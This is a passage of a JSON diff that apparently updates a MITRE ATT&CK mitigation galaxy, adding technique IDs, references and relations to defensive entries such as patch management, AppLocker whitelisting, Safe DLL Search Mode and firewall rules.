to limit impact of exploitation.\n\nUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.", "meta": { - "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1" + "external_id": "T1210", + "refs": [ + "https://attack.mitre.org/techniques/T1210", + "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/", + "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", + "https://en.wikipedia.org/wiki/Control-flow_integrity" + ] }, - "value": "File and Directory Discovery Mitigation" + "related": [ + { + "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "14b63e6b-7531-4476-9e60-02cc5db48b62", + "value": "Exploitation of Remote Services Mitigation - T1210" }, { - "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "5448330d-7911-4604-9410-7e6a7dcec1c9" + "external_id": "T1016", + "refs": [ + "https://attack.mitre.org/techniques/T1016", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Hidden Files and Directories Mitigation" + "related": [ + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40", + "value": "System Network Configuration Discovery Mitigation - T1016" }, { - "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.[[CiteRef::Powersploit]]\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04" + "external_id": "T1071", + "refs": [ + "https://attack.mitre.org/techniques/T1071", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "DLL Search Order Hijacking Mitigation" + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "addb3703-5a59-4461-9bcd-7e2b5d4e92a0", + "value": "Standard Application Layer Protocol Mitigation - T1071" }, { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee" + "external_id": "T1091", + "refs": [ + "https://attack.mitre.org/techniques/T1091", + "https://support.microsoft.com/en-us/kb/967715", + "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Data Transfer Size Limits Mitigation" + "related": [ + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e", + "value": "Replication Through Removable Media Mitigation - T1091" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", "meta": { - "uuid": "7ee0879d-ce4f-4f54-a96b-c532dfb98ffd" + "external_id": "T1203", + "refs": [ + "https://attack.mitre.org/techniques/T1203", + "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/", + "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/", + "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", + "https://en.wikipedia.org/wiki/Control-flow_integrity" + ] }, - "value": "Data from Local System Mitigation" + "related": [ + { + "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "f2dcee22-c275-405e-87fd-48630a19dfba", + "value": "Exploitation for Client Execution Mitigation - T1203" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "39706d54-0d06-4a25-816a-78cc43455100" + "external_id": "T1042", + "refs": [ + "https://attack.mitre.org/techniques/T1042", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "https://msdn.microsoft.com/en-us/library/cc144156.aspx" + ] }, - "value": "Data from Removable Media Mitigation" + "related": [ + { + "dest-uuid": "68c96494-1a50-403e-8844-69a6af278c68", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d7c49196-b40e-42bc-8eed-b803113692ed", + "value": "Change Default File Association Mitigation - T1042" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1025", + "refs": [ + "https://attack.mitre.org/techniques/T1025", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "39706d54-0d06-4a25-816a-78cc43455100", + "value": "Data from Removable Media Mitigation - T1025" + }, + { + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", + "meta": { + "external_id": "T1052", + "refs": [ + "https://attack.mitre.org/techniques/T1052", + "https://support.microsoft.com/en-us/kb/967715", + "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + ] + }, + "related": [ + { + "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145", + "value": "Exfiltration Over Physical Medium Mitigation - T1052" + }, + { + "description": "Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)\n\nMitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.", + "meta": { + "external_id": "T1027", + "refs": [ + "https://attack.mitre.org/techniques/T1027", + "https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "a09375e5-63d2-4b65-8b0d-1cfe3e6304ca", + "value": "Obfuscated Files or Information Mitigation - T1027" + }, + { + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", + "meta": { + "external_id": "T1092", + "refs": [ + "https://attack.mitre.org/techniques/T1092", + "https://support.microsoft.com/en-us/kb/967715", + "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + ] + }, + "related": [ + { + "dest-uuid": "64196062-5210-42c3-9a02-563a0d1797ef", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445", + "value": "Communication Through Removable Media Mitigation - T1092" + }, + { + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1083", + "refs": [ + "https://attack.mitre.org/techniques/T1083", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1", + "value": "File and Directory Discovery Mitigation - T1083" + }, + { + "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "meta": { + "external_id": "T1038", + "refs": [ + "https://attack.mitre.org/techniques/T1038", + "http://msdn.microsoft.com/en-US/library/ms682586", + "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx", + "https://github.com/mattifestation/PowerSploit", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + ] + }, + "related": [ + { + "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04", + "value": "DLL Search Order Hijacking Mitigation - T1038" + }, + { + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.", + "meta": { + "external_id": "T1044", + "refs": [ + "https://attack.mitre.org/techniques/T1044", + "https://github.com/mattifestation/PowerSploit", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://seclists.org/fulldisclosure/2015/Dec/34" + ] + }, + "related": [ + { + "dest-uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "1022138b-497c-40e6-b53a-13351cbd4090", + "value": "File System Permissions Weakness Mitigation - T1044" + }, + { + "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "meta": { + "external_id": "T1048", + "refs": [ + "https://attack.mitre.org/techniques/T1048", + "https://technet.microsoft.com/en-us/library/cc700828.aspx", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80", + "value": "Exfiltration Over Alternative Protocol Mitigation - T1048" + }, + { + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1049", + "refs": [ + "https://attack.mitre.org/techniques/T1049", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ] + }, + "related": [ + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "c1676218-c16a-41c9-8f7a-023779916e39", + "value": "System Network Connections Discovery Mitigation - T1049" + }, + { + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.", + "meta": { + "external_id": "T1058", + "refs": [ + "https://attack.mitre.org/techniques/T1058", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + ] + }, + "related": [ + { + "dest-uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "9378f139-10ef-4e4b-b679-2255a0818902", + "value": "Service Registry Permissions Weakness Mitigation - T1058" + }, + { + "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1066", + "refs": [ + "https://attack.mitre.org/techniques/T1066", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271", + "value": "Indicator Removal from Tools Mitigation - T1066" + }, + { + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.", + "meta": { + "external_id": "T1068", + "refs": [ + "https://attack.mitre.org/techniques/T1068", + "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/", + "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", + "https://en.wikipedia.org/wiki/Control-flow_integrity" + ] + }, + "related": [ + { + "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502", + "value": "Exploitation for Privilege Escalation Mitigation - T1068" + }, + { + "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)", + "meta": { + "external_id": "T1088", + "refs": [ + "https://attack.mitre.org/techniques/T1088", + "https://github.com/hfiref0x/UACME" + ] + }, + "related": [ + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f", + "value": "Bypass User Account Control Mitigation - T1088" + }, + { + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", + "meta": { + "external_id": "T1211", + "refs": [ + "https://attack.mitre.org/techniques/T1211", + "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/", + "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", + "https://en.wikipedia.org/wiki/Control-flow_integrity" + ] + }, + "related": [ + { + "dest-uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "37a3f3f5-76e6-43fe-b935-f1f494c95725", + "value": "Exploitation for Defense Evasion Mitigation - T1211" + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1181", + "refs": [ + "https://attack.mitre.org/techniques/T1181", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "cba5667e-e3c6-44a4-811c-266dbc00e440", + "value": "Extra Window Memory Injection Mitigation - T1181" + }, + { + "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.", + "meta": { + "external_id": "T1212", + "refs": [ + "https://attack.mitre.org/techniques/T1212", + "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/", + "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/", + "https://en.wikipedia.org/wiki/Control-flow_integrity" + ] + }, + "related": [ + { + "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + 